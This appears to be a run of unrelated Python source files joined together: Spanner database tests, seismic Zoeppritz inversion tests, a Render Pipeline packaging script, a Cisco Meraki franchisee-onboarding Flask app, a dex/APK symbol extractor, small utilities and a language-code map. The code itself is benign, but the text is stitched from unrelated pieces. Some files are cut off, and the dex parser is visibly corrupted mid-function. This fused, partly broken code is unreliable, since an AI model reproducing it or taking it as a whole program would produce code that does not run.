self.ALL) retrieved = 0 while True: try: streamed.consume_next() except StopIteration: break retrieved += len(streamed.rows) streamed.rows[:] = () self.assertEqual(retrieved, ROW_COUNT) self.assertEqual(streamed._current_row, []) self.assertEqual(streamed._pending_chunk, None) def test_read_w_index(self): ROW_COUNT = 2000 # Indexed reads cannot return non-indexed columns MY_COLUMNS = self.COLUMNS[0], self.COLUMNS[2] EXTRA_DDL = [ 'CREATE INDEX contacts_by_last_name ON contacts(last_name)', ] pool = BurstyPool() temp_db = Config.INSTANCE.database( 'test_read_w_index', ddl_statements=DDL_STATEMENTS + EXTRA_DDL, pool=pool) operation = temp_db.create() self.to_delete.append(_DatabaseDropper(temp_db)) # We want to make sure the operation completes. operation.result(30) # raises on failure / timeout. session, committed = self._set_up_table(ROW_COUNT, db=temp_db) snapshot = session.snapshot(read_timestamp=committed) rows = list(snapshot.read( self.TABLE, MY_COLUMNS, self.ALL, index='contacts_by_last_name')) expected = list(reversed( [(row[0], row[2]) for row in self._row_data(ROW_COUNT)])) self._check_row_data(rows, expected) def test_read_w_limit(self): ROW_COUNT = 4000 LIMIT = 100 session, committed = self._set_up_table(ROW_COUNT) snapshot = session.snapshot(read_timestamp=committed) rows = list(snapshot.read( self.TABLE, self.COLUMNS, self.ALL, limit=LIMIT)) all_data_rows = list(self._row_data(ROW_COUNT)) expected = all_data_rows[:LIMIT] self._check_row_data(rows, expected) def test_read_w_range(self): from google.cloud.spanner.keyset import KeyRange ROW_COUNT = 4000 START_CLOSED = 1000 END_OPEN = 2000 session, committed = self._set_up_table(ROW_COUNT) key_range = KeyRange(start_closed=[START_CLOSED], end_open=[END_OPEN]) keyset = KeySet(ranges=(key_range,)) snapshot = session.snapshot(read_timestamp=committed) rows = list(snapshot.read( self.TABLE, self.COLUMNS, keyset)) all_data_rows = list(self._row_data(ROW_COUNT)) expected = all_data_rows[START_CLOSED:END_OPEN] self._check_row_data(rows, expected) def test_execute_sql_w_manual_consume(self): ROW_COUNT = 4000 session, committed = self._set_up_table(ROW_COUNT) snapshot = session.snapshot(read_timestamp=committed) streamed = snapshot.execute_sql(self.SQL) retrieved = 0 while True: try: streamed.consume_next() except StopIteration: break retrieved += len(streamed.rows) streamed.rows[:] = () self.assertEqual(retrieved, ROW_COUNT) self.assertEqual(streamed._current_row, []) self.assertEqual(streamed._pending_chunk, None) def _check_sql_results(self, snapshot, sql, params, param_types, expected): if 'ORDER' not in sql: sql += ' ORDER BY eye_d' rows = list(snapshot.execute_sql( sql, params=params, param_types=param_types)) self._check_row_data(rows, expected=expected) def test_execute_sql_w_query_param(self): session = self._db.session() session.create() self.to_delete.append(session) with session.batch() as batch: batch.delete(self.ALL_TYPES_TABLE, self.ALL) batch.insert( self.ALL_TYPES_TABLE, self.ALL_TYPES_COLUMNS, self.ALL_TYPES_ROWDATA) snapshot = session.snapshot(read_timestamp=batch.committed) # Cannot equality-test array values. See below for a test w/ # array of IDs. self._check_sql_results( snapshot, sql='SELECT eye_d FROM all_types WHERE are_you_sure = @sure', params={'sure': True}, param_types={'sure': Type(code=BOOL)}, expected=[(19,), (99,)], ) self._check_sql_results( snapshot, sql='SELECT eye_d FROM all_types WHERE raw_data = @bytes_1', params={'bytes_1': self.BYTES_1}, param_types={'bytes_1': Type(code=BYTES)}, expected=[(19,), (99,)], ) self._check_sql_results( snapshot, sql='SELECT eye_d FROM all_types WHERE hwhen = @hwhen', params={'hwhen': self.SOME_DATE}, param_types={'hwhen': Type(code=DATE)}, expected=[(19,)], ) self._check_sql_results( snapshot, sql=('SELECT eye_d FROM all_types WHERE approx_value >= @lower' ' AND approx_value < @upper '), params={'lower': 0.0, 'upper': 1.0}, param_types={ 'lower': Type(code=FLOAT64), 'upper': Type(code=FLOAT64)}, expected=[(19,)], ) # Find -inf self._check_sql_results( snapshot, sql='SELECT eye_d FROM all_types WHERE approx_value = @pos_inf', params={'pos_inf': float('+inf')}, param_types={'pos_inf': Type(code=FLOAT64)}, expected=[(107,)], ) # Find +inf self._check_sql_results( snapshot, sql='SELECT eye_d FROM all_types WHERE approx_value = @neg_inf', params={'neg_inf': float('-inf')}, param_types={'neg_inf': Type(code=FLOAT64)}, expected=[(207,)], ) self._check_sql_results( snapshot, sql='SELECT description FROM all_types WHERE eye_d = @my_id', params={'my_id': 19}, param_types={'my_id': Type(code=INT64)}, expected=[(u'dog',)], ) self._check_sql_results( snapshot, sql='SELECT eye_d FROM all_types WHERE description = @description', params={'description': u'dog'}, param_types={'description': Type(code=STRING)}, expected=[(19,)], ) # NaNs cannot be searched for by equality. self._check_sql_results( snapshot, sql='SELECT eye_d FROM all_types WHERE exactly_hwhen = @hwhen', params={'hwhen': self.SOME_TIME}, param_types={'hwhen': Type(code=TIMESTAMP)}, expected=[(19,)], ) array_type = Type(code=ARRAY, array_element_type=Type(code=INT64)) self._check_sql_results( snapshot, sql=('SELECT description FROM all_types ' 'WHERE eye_d in UNNEST(@my_list)'), params={'my_list': [19, 99]}, param_types={'my_list': array_type}, expected=[(u'dog',), (u'cat',)], ) class TestStreamingChunking(unittest.TestCase, _TestData): @classmethod def setUpClass(cls): from tests.system.utils.streaming_utils import INSTANCE_NAME from tests.system.utils.streaming_utils import DATABASE_NAME instance = Config.CLIENT.instance(INSTANCE_NAME) if not instance.exists(): raise unittest.SkipTest( "Run 'tests/system/utils/populate_streaming.py' to enable.") database = instance.database(DATABASE_NAME) if not instance.exists(): raise unittest.SkipTest( "Run 'tests/system/utils/populate_streaming.py' to enable.") cls._db = database def _verify_one_column(self, table_desc): sql = 'SELECT chunk_me FROM {}'.format(table_desc.table) rows = list(self._db.execute_sql(sql)) self.assertEqual(len(rows), table_desc.row_count) expected = table_desc.value() for row in rows: self.assertEqual(row[0], expected) def _verify_two_columns(self, table_desc): sql = 'SELECT chunk_me, chunk_me_2 FROM {}'.format(table_desc.table) rows = list(self._db.execute_sql(sql)) self.assertEqual(len(rows), table_desc.row_count) expected = table_desc.value() for row in rows: self.assertEqual(row[0], expected) self.assertEqual(row[1], expected) def test_four_kay(self): from tests.system.utils.streaming_utils import FOUR_KAY self._verify_one_column(FOUR_KAY) def test_forty_kay(self): from tests.system.utils.streaming_utils import FOUR_KAY self._verify_one_column(FOUR_KAY) def test_four_hundred_kay(self): from tests.system.utils.streaming_utils import FOUR_HUNDRED_KAY self._verify_one_column(FOUR_HUNDRED_KAY) def test_four_meg(self): from tests.system.utils.streaming_utils import FOUR_MEG self._verify_two_columns(FOUR_MEG) class _DatabaseDropper(object): """Helper for cleaning up databases created on-the-fly.""" def __init__(self, db): self._db = db def delete(self): self._db.drop() 0 # -*- coding: utf-8 -*- # Copyright (c) Ezcad Development Team. All Rights Reserved. import unittest import numpy as np from zoeppritz.utils import elapar_hs2ratio from zoeppritz.modcer import rpp_cer1977, rps_cer1977 from zoeppritz.invcer import cer1itr class Test(unittest.TestCase): def test_pp_clean(self): # Two half spaces elastic model # vp1, vp2 = 3.0, 2.0 # vs1, vs2 = 1.5, 1.0 # ro1, ro2 = 2.3, 2.0 vp1, vp2 = 4.0, 2.0 vs1, vs2 = 2.0, 1.0 ro1, ro2 = 2.4, 2.0 # Change parameterization r1, r2, r3, r4 = elapar_hs2ratio(vp1, vs1, ro1, vp2, vs2, ro2) # Define angles angles = np.arange(1, 60, 6) # Calculate the reflection amplitude or b in Ax=b m = len(angles) rpp = np.zeros(m) rps = np.zeros(m) for i in range(m): angle = angles[i] amp, pha = rpp_cer1977(r1, r2, r3, r4, angle) rpp[i] = amp amp, pha = rps_cer1977(r1, r2, r3, r4, angle, amp_type='abs') rps[i] = amp # print("Target model:", r1, r2, r3, r4) r1_ini = 2.4 / 4.0 r2_ini = 2.2 / 4.0 r3_ini = 1.3 / 4.0 r4_ini = 1.6 / 2.4 x_ini = (r1_ini, r2_ini, r3_ini, r4_ini) # print("Initial model:", x_ini) for i in range(5): x_new = cer1itr(angles, rpp, x_ini, rps=rps) # print("Updated", x_new) x_ini = x_new self.assertLessEqual(r1 - x_new[0], 0.001) self.assertLessEqual(r2 - x_new[1], 0.001) self.assertLessEqual(r3 - x_new[2], 0.001) self.assertLessEqual(r4 - x_new[3], 0.001) def test_pp_noise(self): # Two half spaces elastic model vp1, vp2 = 4.0, 2.0 vs1, vs2 = 2.0, 1.0 ro1, ro2 = 2.4, 2.0 # Change parameterization r1, r2, r3, r4 = elapar_hs2ratio(vp1, vs1, ro1, vp2, vs2, ro2) # Define angles angles = np.arange(1, 60, 1) # Calculate the reflection amplitude or b in Ax=b m = len(angles) rpp = np.zeros(m) rps = np.zeros(m) for i in range(m): angle = angles[i] amp, pha = rpp_cer1977(r1, r2, r3, r4, angle) rpp[i] = amp amp, pha = rps_cer1977(r1, r2, r3, r4, angle, amp_type='abs') rps[i] = amp # Add noise to data # ramp = np.max(rpp) - np.min(rpp) # mu, sigma = 0, 0.05 * ramp # mean and standard deviation # noise = np.random.normal(mu, sigma, m) # hard code noise to make test result consistent noise = np.array([ -3.40745756e-03, 4.41326891e-03, -1.84969329e-02, -8.57665267e-03, -4.64722728e-03, 1.81164323e-02, 2.35764041e-03, 8.66820650e-03, 2.61862025e-03, 5.60835320e-03, -1.32386200e-02, -1.13868325e-02, -3.85411636e-03, 8.30156732e-04, 6.08364262e-03, -1.13107829e-02, 7.51568819e-03, 8.32391400e-03, 7.18915187e-03, 2.48970883e-03, 1.42114394e-02, 2.45652884e-04, -4.69414374e-03, 4.60964000e-03, 1.43935631e-02, -5.88788401e-03, 3.13041871e-03, -6.68177919e-04, -6.20489672e-03, -1.68069368e-04, -1.78392131e-02, 8.38724551e-04, 1.30622636e-03, -9.83497743e-03, -1.17627106e-02, -1.62056738e-02, 4.62611536e-03, 1.48628494e-02, -1.24973356e-02, -1.01725440e-02, 7.38562227e-03, 9.21933387e-03, -6.69923701e-03, 6.42089408e-03, -4.77129595e-03, 2.33900064e-03, 3.29402557e-05, 9.54770479e-04, -1.49280387e-02, -6.65381602e-03, -1.58004300e-02, -7.08064272e-03, 5.65539007e-04, -2.76684435e-03, -5.60120257e-03, 8.84405490e-03, -3.24883460e-03, 5.64724034e-03, -9.45532624e-03, ]) rpp_noisy = rpp + noise # ramp = np.max(rps) - np.min(rps) # mu, sigma = 0, 0.05 * ramp # mean and standard deviation # noise = np.random.normal(mu, sigma, m) # hard code noise to make test result consistent noise = np.array([ -0.0309984, 0.00092359, -0.00770345, -0.03662312, 0.00336188, 0.00583431, -0.02101242, -0.0248055, -0.00333648, 0.02492424, -0.00099495, 0.00944948, -0.00325943, 0.01934984, -0.00704765, 0.01490579, 0.00779604, 0.02183828, -0.00405295, -0.01820525, -0.00446887, 0.01793082, 0.03251096, 0.0026122, 0.01377384, -0.01452418, 0.02901279, -0.00881719, 0.02308159, 0.01260138, -0.00522267, 0.00769085, 0.02171298, -0.01478435, 0.01349567, -0.00778548, -0.01922285, -0.01798599, -0.02126122, -0.00327526, 0.01550364, 0.00130878, 0.00680895, 0.02670106, -0.05456112, 0.02081972, 0.02333233, 0.03656901, 0.01069452, -0.01197574, 0.02639394, 0.01850353, 0.0232636, -0.00037154, -0.01148699, 0.03056004, 0.006255, 0.01079065, 0.02806546, ]) rps_noisy = rps + noise # print("Target model:", r1, r2, r3, r4) r1_ini = 2.4 / 4.0 r2_ini = 2.2 / 4.0 r3_ini = 1.3 / 4.0 r4_ini = 1.6 / 2.4 x_ini = (r1_ini, r2_ini, r3_ini, r4_ini) # print("Initial model:", x_ini) for i in range(10): # x_new = cer1itr(angles, rpp_noisy, x_ini, rps=None) # fails x_new = cer1itr(angles, rpp_noisy, x_ini, rps=rps_noisy) # print("Updated", i, x_new) x_ini = x_new self.assertLessEqual(0.54935233 - x_new[0], 0.001) self.assertLessEqual(0.48925867 - x_new[1], 0.001) self.assertLessEqual(0.25932287 - x_new[2], 0.001) self.assertLessEqual(0.76031868 - x_new[3], 0.001) if __name__ == '__main__': unittest.main() import os import shutil def copy_weights(arg, epoch): model_name = arg.arch epochs = arg.epochs batch_size = arg.batch_size learning_rate = arg.lr datasets = arg.data_format.strip() folder_name = '%s_epoch%d_bs%d_lr%.1e_%s' % \ (model_name, epochs, batch_size, learning_rate, datasets) # print(folder_name) folder_path = os.path.join('./data/weights', folder_name) # print('making dir ', folder_path) os.makedirs(folder_path, exist_ok=True) new_checkpoint = f'checkpoint_epoch{epoch}.pth.tar' origin_checkpoint = 'checkpoint.pth.tar' model_best_name = 'model_best.pth.tar' print("copy file from %s to %s" % ( os.path.join('./data', origin_checkpoint), os.path.join(folder_path, new_checkpoint))) shutil.copyfile(os.path.join('./data', origin_checkpoint), os.path.join(folder_path, new_checkpoint)) # print("copy file from %s to %s" % ( # os.path.join('./data', model_best_name), # os.path.join(folder_path, model_best_name))) # shutil.copyfile(os.path.join('./data', model_best_name), # os.path.join(folder_path, model_best_name)) """ RP Distributor """ from __future__ import print_function import re import os import sys import shutil from os.path import isfile, isdir, join, dirname, realpath, relpath base_dir = realpath(dirname(__file__)) rp_dir = realpath(join(base_dir, "../../")) os.chdir(base_dir) sys.path.insert(0, rp_dir) from rplibs.six.moves import input ignores = [ # data "skybox-blend.zip", "skybox.jpg", "skybox-2.jpg", "default_cubemap/source", "default_cubemap/source_2", "default_cubemap/filter.compute.glsl", "default_cubemap/filter.py", "data/generate_txo_files.py", "README.md", "environment_brdf/generate_reference.py", "run_mitsuba.bat", ".mip", ".xml", ".exr", ".psd", ".diff", ".pyc", ".pdb", "environment_brdf/res/", "film_grain/generate.py", "film_grain/grain.compute.glsl", "ies_profiles/PREVIEWS.jpg", # rpcore "native/scripts", "native/source", "native/win_amd", "native/win_i386", "native/.gitignore", "native/build.py", "native/CMakeLists", "native/update_module_builder.py", "native/config.ini", # rpplugins ".ffxml", "bloom/resources/SOURCE.txt", "bloom/resources/lens_dirt.png", "clouds/resources/generate_", "clouds/resources/noise.inc", "clouds/resources/precompute.py", "color_correction/resources/film_luts_raw", "color_correction/resources/generate_", "plugin_prefab", "scattering/resources/hosek_wilkie_scattering", # Avoid infinite recursion "rp_distributor", # toolkit "ui/res", "compile_ui.bat", ".ui", ".qrc", "pathtracing_reference", "poisson_disk_generator", "render_service/resources", ] def distribute(): print("Render Pipeline Distributor v0.1") print("") print("Copying tree ..") tmp_dir = join(base_dir, "render_pipeline_v2") dest_dir = join(tmp_dir, "render_pipeline") if isdir(tmp_dir): shutil.rmtree(tmp_dir) os.makedirs(dest_dir) def copy_tree(tree_pth): source = join(rp_dir, tree_pth) dest = join(dest_dir, tree_pth) for basepath, dirnames, files in os.walk(source): for f in files: abspath = realpath(join(basepath, f)) abspath = abspath.replace("\\", "/") for ignore in ignores: if ignore in abspath: break else: local_pth = relpath(abspath, start=source) dest_pth = join(dest, local_pth) dname = dirname(dest_pth) if not isdir(dname): print("Creating", dname) os.makedirs(dname) shutil.copyfile(abspath, dest_pth) copy_tree("config") copy_tree("data") copy_tree("rplibs") copy_tree("effects") copy_tree("rpcore") copy_tree("rpplugins") copy_tree("toolkit") shutil.copyfile(join(rp_dir, "__init__.py"), join(dest_dir, "__init__.py")) shutil.copyfile(join(rp_dir, "README.md"), join(tmp_dir, "README.md")) shutil.copyfile(join(rp_dir, "LICENSE.txt"), join(tmp_dir, "LICENSE.txt")) shutil.copyfile(join(base_dir, "whl-setup.tmpl.py"), join(tmp_dir, "setup.py")) shutil.copyfile(join(base_dir, "whl-setup.tmpl.cfg"), join(tmp_dir, "setup.cfg")) if __name__ == "__main__": distribute() app.py0 """ Copyright (c) 2021 Cisco and/or its affiliates. This software is licensed to you under the terms of the Cisco Sample Code License, Version 1.1 (the "License"). You may obtain a copy of the License at https://developer.cisco.com/docs/licenses All use of the material herein must be in accordance with the terms of the License. All rights not expressly granted by the License are reserved. Unless required by applicable law or agreed to separately in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. """ # Import Section from flask import Flask, render_template, request, redirect from flask_sqlalchemy import SQLAlchemy from sqlalchemy import exc from sqlalchemy_utils import database_exists from datetime import datetime import requests import json from dotenv import load_dotenv import os import time # load all environment variables load_dotenv() DB_PATH = os.getenv("DB_PATH") MERAKI_BASE_URL = os.getenv("MERAKI_BASE_URL") MERAKI_API_KEY = os.getenv("MERAKI_API_KEY") ORG_NAME = os.getenv("ORG_NAME") # global variables headers = dict() headers['X-Cisco-Meraki-API-Key'] = MERAKI_API_KEY headers['Content-Type'] = "application/json" headers['Accept'] = "application/json" base_url = MERAKI_BASE_URL #Global variables app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = DB_PATH app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) #DB Models class Franchisee(db.Model): id = db.Column(db.Integer, primary_key=True) store_number = db.Column(db.String(10), unique=True, nullable=False) store_name = db.Column(db.String(50), unique=False, nullable=False) order_number = db.Column(db.String(20), unique=True, nullable=False) organzation_id = db.Column(db.String(20), unique=False, nullable=True) organzation_name = db.Column(db.String(20), unique=False, nullable=True) network_id = db.Column(db.String(20), unique=False, nullable=True) template_name = db.Column(db.String(20), unique=False, nullable=True) is_processed = db.Column(db.Boolean, nullable=False) submit_date = db.Column(db.DateTime, nullable=False) process_date = db.Column(db.DateTime, nullable=True) #Initialize DB if not database_exists(DB_PATH): db.create_all() #Methods #Returns location and time of accessing device def getSystemTimeAndLocation(): #request user ip userIPRequest = requests.get('https://get.geojs.io/v1/ip.json') userIP = userIPRequest.json()['ip'] #request geo information based on ip geoRequestURL = 'https://get.geojs.io/v1/ip/geo/' + userIP + '.json' geoRequest = requests.get(geoRequestURL) geoData = geoRequest.json() #create info string location = geoData['country'] timezone = geoData['timezone'] current_time=datetime.now().strftime("%d %b %Y, %I:%M %p") timeAndLocation = "System Information: {}, {} (Timezone: {})".format(location, current_time, timezone) return timeAndLocation #Generic API call function def meraki_api(method, uri, payload=None): response = requests.request(method, base_url+uri, headers=headers, data=json.dumps(payload)) return response ##Routes @app.route('/') def get_start(): try: #Page without error message and defined header links return render_template('start.html', timeAndLocation=getSystemTimeAndLocation()) except Exception as e: print(e) #OR the following to show error message return render_template('start.html', error=True, errormessage=f"Error: {e}", timeAndLocation=getSystemTimeAndLocation()) @app.route('/corporate/register') def get_corporate_register(): try: # get all organizations orgs = meraki_api('GET', '/organizations') if orgs.status_code == 200: orgs = json.loads(orgs.text) orgs_id_name = dict() orgs_templates = dict() for org in orgs: orgs_id_name[org['id']] = org['name'] else: return render_template('corporate_register.html', error=True, errormessage=f"Error: {json.loads(orgs.text)['errors']}", errorcode=orgs.status_code, timeAndLocation=getSystemTimeAndLocation()) # get all unprocessed franchisees franchisees = Franchisee.query.filter_by(is_processed=False).all() return render_template('corporate_register.html', orgs=orgs_id_name, franchisees=franchisees, timeAndLocation=getSystemTimeAndLocation()) # return render_template('corporate_register.html', orgs=orgs_id_name, franchisees=franchisees, devices=devices_by_order, timeAndLocation=getSystemTimeAndLocation()) except Exception as e: print(e) #OR the following to show error message return render_template('corporate_register.html', error=True, errormessage=f"Error: {e}", timeAndLocation=getSystemTimeAndLocation()) @app.route('/corporate/register/confirm_org', methods=['POST']) def post_corporate_confirm_org(): try: data = json.loads(request.form['data']) store_number = data['store_number'] store_name = data['store_name'] order_number = data['order_number'] org_id = data['org_id'] org_name = data['org_name'] # claim into org payload = { "orders": [order_number] } claim_into_org = meraki_api('POST', f'/organizations/{org_id}/claim', payload) if claim_into_org.status_code == 200: claim_into_org = json.loads(claim_into_org.text) if claim_into_org['orders'] == []: return f"Error: Invalid order number" else: return f"Error: {json.loads(claim_into_org.text)['errors']}" # create a new network for the franchisee payload = { "name": store_name, "timeZone": "Asia/Shanghai", "productTypes": [ "appliance", "switch", "wireless" ] } new_network = meraki_api('POST', f'/organizations/{org_id}/networks', payload) if new_network.status_code == 201: new_network = json.loads(new_network.text) new_network_id = new_network['id'] print(new_network) else: return f"Error: {json.loads(new_network.text)['errors']}" # get serials of the order devices = meraki_api('GET', f'/organizations/{org_id}/inventoryDevices?usedState=unused') if devices.status_code == 200: devices = json.loads(devices.text) serials = [] grouped_devices = dict() grouped_devices['models'] = dict() grouped_devices['count'] = 0 for device in devices: if device['orderNumber'] == order_number: serials.append(device['serial']) if device['model'] not in grouped_devices['models']: grouped_devices['models'][device['model']] = [] grouped_devices['models'][device['model']].append(device['serial']) grouped_devices['count'] += 1 # claim devices into the network payload = { "serials": serials } new_network_ready = False while not new_network_ready: claim_into_network = meraki_api('POST', f'/networks/{new_network_id}/devices/claim', payload) if claim_into_network.status_code == 200: new_network_ready = True franchisee = Franchisee.query.filter_by(store_number=store_number).first() franchisee.organzation_id = org_id franchisee.organzation_name = org_name franchisee.network_id = new_network_id db.session.commit() # get config templates config_templates = meraki_api('GET', f'/organizations/{org_id}/configTemplates') if config_templates.status_code == 200: config_templates = json.loads(config_templates.text) for config_template in config_templates: config_template.pop('productTypes') config_template.pop('timeZone') else: return f"Error: {json.loads(config_templates.text)['errors']}" return render_template('devices_template.html', devices=grouped_devices, config_templates=config_templates) except Exception as e: print(e) return f"Error: {e}" @app.route('/corporate/register/confirm_template', methods=['POST']) def post_corporate_confirm_template(): try: data = json.loads(request.form['data']) store_number = data['store_number'] template_id = data['template_id'] template_name = data['template_name'] # get store network ID franchisee = Franchisee.query.filter_by(store_number=store_number).first() network_id = franchisee.network_id # bind network to config template payload = { "configTemplateId": template_id, "autoBind": True } bind_network = meraki_api('POST', f'/networks/{network_id}/bind', payload) if bind_network.status_code != 200: return f"Error: {json.loads(bind_network.text)['errors']}" franchisee.is_processed = True franchisee.template_name = template_name franchisee.process_date = datetime.now() db.session.commit() return "Y" except Exception as e: print(e) return f"Error: {e}" @app.route('/corporate/modify') def get_corporate_modify(): try: franchisees = Franchisee.query.all() #Page without error message and defined header links return render_template('corporate_modify.html', franchisees=franchisees, timeAndLocation=getSystemTimeAndLocation()) except Exception as e: print(e) #OR the following to show error message return render_template('corporate_modify.html', error=True, errormessage=f"Error: {e}", timeAndLocation=getSystemTimeAndLocation()) @app.route('/corporate/modify', methods=['POST']) def post_corporate_modify(): try: data = json.loads(request.form['data']) old_store_number = data['old_store_number'] old_store_name = data['old_store_name'] new_store_number = data['new_store_number'] new_store_name = data['new_store_name'] number = False name = False if new_store_name != "": update_franchisee = Franchisee.query.filter_by(store_number=old_store_number).first() if update_franchisee.organzation_id: check_franchisee = Franchisee.query.filter_by(organzation_id=update_franchisee.organzation_id, store_name=update_franchisee.store_name) if check_franchisee.count() == 1: # update network name payload = { "name": new_store_name } update_network = meraki_api('PUT', f'/networks/{update_franchisee.network_id}', payload) if update_network.status_code == 200: update_franchisee.store_name = new_store_name db.session.commit() name = True else: update_franchisee.store_name = new_store_name db.session.commit() name = True if new_store_number != "": check_franchisee = Franchisee.query.filter_by(store_number=new_store_number).first() if not check_franchisee: update_franchisee = Franchisee.query.filter_by(store_number=old_store_number).first() update_franchisee.store_number = new_store_number db.session.commit() number = True if number == True and name == True: return "Both" elif number == True and name == False: return "Number" elif number == False and name == True: return "Name" else: return "None" except Exception as e: print(f"{e}") return "None" @app.route('/corporate/history') def get_corporate_history(): try: franchisees = Franchisee.query.all() #Page without error message and defined header links return render_template('corporate_history.html', franchisees=franchisees, timeAndLocation=getSystemTimeAndLocation()) except Exception as e: print(e) #OR the following to show error message return render_template('corporate_history.html', error=True, errormessage=f"Error: {e}", timeAndLocation=getSystemTimeAndLocation()) @app.route('/franchisee') def get_franchisee(): try: #Page without error message and defined header links return render_template('franchisee.html', timeAndLocation=getSystemTimeAndLocation()) except Exception as e: print(e) #OR the following to show error message return render_template('franchisee.html', error=True, errormessage=f"Error: {e}", timeAndLocation=getSystemTimeAndLocation()) @app.route('/franchisee', methods=['POST']) def post_franchisee(): try: # get input from franchisee store_name = request.form.get("store_name") order_number = request.form.get("order_number") # add to DB try: # assign with a temp store number if Franchisee.query.order_by('id').all(): store_number = str(Franchisee.query.order_by('id').all()[-1].id + 1) else: store_number = "1" new_franchisee = Franchisee(store_number=store_number, store_name=store_name, order_number=order_number, is_processed=False, submit_date=datetime.now()) db.session.add(new_franchisee) db.session.commit() return render_template('franchisee.html', success=True, successmessage=f"", timeAndLocation=getSystemTimeAndLocation()) except exc.SQLAlchemyError as e: return render_template('franchisee.html', error=True, errormessage=f"Error: This record might exist in database already", timeAndLocation=getSystemTimeAndLocation()) except Exception as e: print(e) return render_template('franchisee.html', error=True, errormessage=f"Error: {e}", timeAndLocation=getSystemTimeAndLocation()) #Main Function if __name__ == "__main__": app.run(host='0.0.0.0', debug=False) from yowsup.layers.protocol_messages.protocolentities.message_text import TextMessageProtocolEntity from yowsup.structs import ProtocolTreeNode from yowsup.layers.protocol_messages.protocolentities.test_message import MessageProtocolEntityTest class TextMessageProtocolEntityTest(MessageProtocolEntityTest): def setUp(self): super(TextMessageProtocolEntityTest, self).setUp() self.ProtocolEntity = TextMessageProtocolEntity bodyNode = ProtocolTreeNode("body", {}, None, "body_data") self.node.addChild(bodyNode) 10-100 # -*- coding: utf-8 -*- # This is an example for a Sahana plugin # # (NB any plugin with the name "skeleton" will be ignored) # # Can specify a version string: # - this is visible in the session when running ?debug=1, # and it can be visible in the GUI (depends on template) # - helps with support requests and debugging # __version__ = "1.0" # Load current to access things like settings from gluon import current def setup(): """ Setup function that will be called by the plugin loader during the request cycle, immediately before entering the controller. This function *must* be present in any plugin, otherwise the plugin will be ignored after the initial attempt. NB: this function is called in every request cycle, so should not create bottlenecks, but keep all added functionality lazy/optional or small as possible. @return: nothing (return value will be ignored) """ # Examples where functionality could be added: # Can access the settings: settings = current.deployment_settings # Can access scheduler tasks: tasks = s3.tasks 0 """ Copyright 2018-present, Facebook, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import struct import sys import tempfile import zipfile from collections import namedtuple DEX_FILE_VERSION_MAX = 38 def parse_dex_id(signature): """Take first 4 bytes of the Dex signature as Dex Id """ return struct.unpack("" ... }, "method_index" : { ((method_id << 32) | dex_id) : "" ... } } """ class_index = {} method_index = {} with zipfile.ZipFile(apk_path) as apk_file: tempdir = tempfile.mkdtemp() assert "classes.dex" in apk_file.namelist() index = 1 dex_file_format = "classes{}.dex" dex_file = dex_file_format.format("") while dex_file in apk_file.namelist(): dex_path = apk_file.extract(dex_file, tempdir) with open(dex_path, "rb") as dex_file: dex = Dex(dex_file) class_index.update(dex.get_classes_map()) method_index.update(dex.get_methods_map()) index += 1 dex_file = dex_file_format.format(index) return namedtuple("ApkSymbols", ["class_index", "method_index"])( class_index, method_index ) if __name__ == "__main__": import json apk_path = sys.argv[1] symbols = extract_apk_symbols(apk_path) print( json.dumps( { "class_index": symbols.class_index, "method_index": symbols.method_index, } ) ) icees_api/utils.py0 """Utilities.""" def opposite(qualifier): return { "operator": { ">": "<=", "<": ">=", ">=": "<", "<=": ">", "=": "<>", "<>": "=" }[qualifier["operator"]], "value": qualifier["value"] } def to_qualifiers(feature): if len(feature) == 1: k, v = list(feature.items())[0] return { "feature_name": k, "feature_qualifiers": [v, opposite(v)] } else: k = feature["feature_name"] v = feature["feature_qualifier"] return { "feature_name": k, "feature_qualifiers": [v, opposite(v)] } def to_qualifiers2(feature): if len(feature) == 1: k, v = list(feature.items())[0] return { "feature_name": k, "feature_qualifiers": v } else: return feature def associations_have_feature_matrices(associations): for assoc in associations: if assoc['feature_matrix']: return True return False # coding=utf-8 #------------------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. #------------------------------------------------------------------------ class LanguageMap: codes_to_names: dict = {} names_to_codes: dict = {} names_to_names: dict = {} def __init__(self): self.add("ar", "Arabic") self.add("bs-Latn", "Bosnian") self.add("bg", "Bulgarian") self.add("ca", "Catalan") self.add("zh-CHS", "Chinese Simplified") self.add("zh-CHT", "Chinese Traditional") self.names_to_names["Chinese"] = ["Simplified", "Traditional"] self.add("hr", "Croatian") self.add("cs", "Czech") self.add("da", "Danish") self.add("nl", "Dutch") self.add("en", "English") self.add("et", "Estonian") self.add("fi", "Finnish") self.add("fr", "French") self.add("de", "German") self.add("el", "Greek") self.add("ht", "Haitian Creole") self.names_to_codes["Creole"] = "ht" self.add("he", "Hebrew") self.add("hi", "Hindi") self.add("mww", "Hmong Daw") self.names_to_codes["Hmong"] = "mww" self.names_to_codes["Daw"] = "mww" self.add("hu", "Hungarian") self.add("id", "Indonesian") self.add("it", "Italian") self.add("ja", "Japanese") self.add("sw", "Kiswahili") self.add("ko", "Korean") self.add("tlh", "Klingon") self.add("lv", "Latvian") self.add("lt", "Lithuanian") self.add("ms", "Malay") self.add("mt", "Maltese") self.add("no", "Norwegian") self.add("fa", "Persian") self.add("pl", "Polish") self.add("pt", "Portuguese") self.add("otq", "Querétaro Otomi") self.names_to_codes["Querétaro"] = "otq" self.names_to_codes["Otomi"] = "otq" self.add("ro", "Romanian") self.add("ru", "Russian") self.add("sr-Cyrl", "Serbian Cyrillic") self.add("sr-Latn", "Serbian Latin") self.names_to_names["Serbian"] = [{"Cyrillic", "Latin"}] self.add("sk", "Slovak") self.add("sl", "Slovenian") self.add("es", "Spanish") self.add("sv", "Swedish") self.add("th", "Thai") self.add("tr", "Turkish") self.add("uk", "Ukrainian") self.add("ur", "Urdu") self.add("vi", "Vietnamese") self.add("cy", "Welsh") self.add("yua", "Yucatec Maya") self.names_to_codes["yucatec"] = "yua" self.names_to_codes["maya"] = "yua" def add(self, code: str, name: 